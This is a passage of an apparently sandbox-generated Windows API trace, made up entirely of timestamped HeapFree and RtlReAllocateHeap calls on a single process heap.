lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.507] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.508] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.508] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b1860, Size=0x4000) returned 0x5b5878 [0127.508] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.509] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.509] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.510] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.510] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.510] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.510] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.511] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.511] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.511] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.512] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4436690 | out: hHeap=0x510000) returned 1 [0127.512] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.512] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4436690 | out: hHeap=0x510000) returned 1 [0127.515] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.515] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4436690 | out: hHeap=0x510000) returned 1 [0127.516] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4436690 | out: hHeap=0x510000) returned 1 [0127.517] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4436690 | out: hHeap=0x510000) returned 1 [0127.519] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4436690 | out: hHeap=0x510000) returned 1 [0127.520] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.520] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4436690 | out: hHeap=0x510000) returned 1 [0127.520] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.520] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4436690 | out: hHeap=0x510000) returned 1 [0127.523] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4436690 | out: hHeap=0x510000) returned 1 [0127.523] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4436690 | out: hHeap=0x510000) returned 1 [0128.060] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0128.060] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0128.060] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4436690 | out: hHeap=0x510000) returned 1 [0128.062] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.062] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0128.066] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.067] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0128.067] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0128.069] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.070] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0128.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0128.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0128.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0128.075] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0128.076] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0128.076] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0128.076] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0128.084] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.086] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b5878, Size=0x8000) returned 0x4425680 [0128.088] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x442d688 | out: hHeap=0x510000) returned 1 [0128.089] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x442d688 | out: hHeap=0x510000) returned 1 [0128.090] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0128.201] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4427688 | out: hHeap=0x510000) returned 1 [0128.202] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4427688 | out: hHeap=0x510000) returned 1 [0128.203] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4427688 | out: hHeap=0x510000) returned 1 [0128.206] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4427688 | out: hHeap=0x510000) returned 1 [0128.209] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x4425680, Size=0x4000) returned 0x5b1860 [0128.210] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4427688 | out: hHeap=0x510000) returned 1 [0128.212] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.216] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4435688 | out: hHeap=0x510000) returned 1 [0128.216] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.217] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.222] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.225] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.225] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0128.226] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0128.226] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0128.229] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0128.240] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0128.647] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b1860, Size=0x8000) returned 0x5b1860 [0128.649] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0129.342] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0129.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0129.691] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0129.691] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0129.698] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0130.063] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0130.071] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0130.071] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0130.076] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0130.078] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0130.084] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0130.090] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b1860, Size=0x10000) returned 0x448cf98 [0130.175] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x448cf98, Size=0x20000) returned 0x448cf98 [0130.359] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x448cf98, Size=0x40000) returned 0x44eef38 [0130.392] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0130.393] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0130.397] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0130.399] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0130.399] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0130.402] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0130.402] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0130.407] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x452ef40 | out: hHeap=0x510000) returned 1 [0130.625] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x452ef40 | out: hHeap=0x510000) returned 1 [0131.097] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0131.152] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0131.154] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0131.157] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0131.158] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0131.158] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0131.159] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0131.160] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0131.211] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.212] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.214] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.215] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.216] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.218] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.219] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.220] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.222] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.225] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.227] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.230] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.232] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.235] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.237] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.239] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.241] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.283] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.285] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.286] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.355] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.357] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.358] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.359] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.361] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.363] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.364] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.366] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.368] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.371] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.374] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.376] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.379] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.381] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.384] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.386] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.680] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.682] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.683] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.685] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.686] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.688] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.689] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0131.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0131.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0131.694] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.696] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0131.697] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0131.698] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0131.700] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0131.783] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0131.786] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0131.788] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0131.790] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0131.793] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0131.801] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x44eef38, Size=0x80000) returned 0x4fec020 [0132.527] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.530] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.534] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.535] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.537] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.538] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.540] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.542] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.573] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.574] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.576] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.577] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.578] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.580] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.581] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.582] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.584] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.585] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.586] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.588] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.589] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.590] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.778] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.779] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.780] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.782] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.783] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.784] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.786] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.787] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.788] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.790] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.791] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.792] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.794] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0132.794] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0132.803] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0132.804] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0132.806] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0132.808] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0132.809] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0132.811] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0132.814] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0132.820] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.016] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.018] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.020] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.022] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.026] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.028] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.030] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.032] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.035] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.037] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.158] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.162] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.165] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.168] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.179] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.182] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.262] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.265] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.267] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.269] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.271] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.272] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.274] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.294] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.295] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.295] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.295] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.295] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.295] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.295] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.295] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.296] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.296] 